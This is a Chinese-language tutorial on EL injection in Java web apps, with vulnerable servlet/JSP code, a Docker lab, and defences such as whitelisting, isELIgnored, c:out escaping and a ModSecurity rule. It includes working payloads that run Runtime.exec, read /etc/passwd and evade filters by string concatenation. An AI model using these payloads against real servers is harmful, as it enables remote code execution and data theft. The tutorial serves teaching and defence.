表达式语言(Expression Language,简称EL)注入是Java Web应用中一种高危的安全漏洞。当开发者错误地将用户输入直接拼接到EL表达式中,攻击者就能注入恶意代码,导致远程命令执行、敏感数据泄露等严重后果。
EL最初设计用于简化JSP页面中的数据访问,其语法如${user.name}可以方便地获取JavaBean属性。但随着功能增强,EL支持了方法调用、静态类访问等特性,这也为攻击者提供了可乘之机。
关键点:EL注入本质上属于"代码注入"类漏洞,与SQL注入、XSS等有相似之处,都是由于未正确处理"数据"与"代码"边界导致的。
EL注入需要同时满足三个条件:
典型漏洞代码如下:
java复制// 漏洞Servlet
String userInput = request.getParameter("input");
request.setAttribute("message", userInput); // 直接将用户输入存入request属性
request.getRequestDispatcher("/result.jsp").forward(request, response);
// 漏洞JSP
<p>${message}</p> // 直接输出request属性,如果message包含EL表达式会被执行
现代EL支持的危险操作包括:
${object.method(args)}${T(java.lang.Runtime)}${''.class.forName('java.lang.Runtime')}这些功能本为方便开发,但被攻击者利用就会造成严重危害。
使用Docker快速搭建漏洞环境:
bash复制# docker-compose.yml
version: '3.8'
services:
el-injection-lab:
image: vulhub/tomcat:8.5.31
ports:
- "8080:8080"
environment:
- CATALINA_OPTS=-Dorg.apache.el.parser.SKIP_IDENTIFIER_CHECK=true
volumes:
- ./vuln-app.war:/usr/local/tomcat/webapps/ROOT.war
基础探测Payload:
code复制http://localhost:8080/vuln?input=${7*7}
如果返回页面显示"49"而非"7*7",则存在EL注入。
code复制${T(java.lang.Runtime).getRuntime().exec('calc')}
code复制${T(org.apache.commons.io.IOUtils).toString(
T(java.lang.ClassLoader).getSystemResourceAsStream('/etc/passwd')
)}
code复制${T(java.lang.System).getProperty('os.name')}
${pageContext.request.servletPath}
java复制if (!input.matches("^[a-zA-Z0-9\\s.,!?']+$")) {
throw new IllegalArgumentException("Invalid input");
}
jsp复制<%-- 禁用EL --%>
<%@ page isELIgnored="true" %>
<%-- 使用JSTL c:out转义 --%>
<p><c:out value="${message}" /></p>
request.setAttribute()传递未过滤的用户输入SKIP_IDENTIFIER_CHECK=falseapache复制SecRule ARGS "\$\{.*(runtime|exec|class\.forName).*\}" \
"phase:2,deny,msg:'EL Injection Attempt'"
${、T(等特征的请求在实际渗透测试中,发现EL注入漏洞需要注意:
${'Runt'+'ime'}${''['class'].forName('java.lang.Runtime')}${T(Thread).sleep(5000)}修复这类漏洞最有效的方法是严格区分代码和数据的边界,所有用户输入都应视为不可信数据,必须经过验证和转义后才能使用。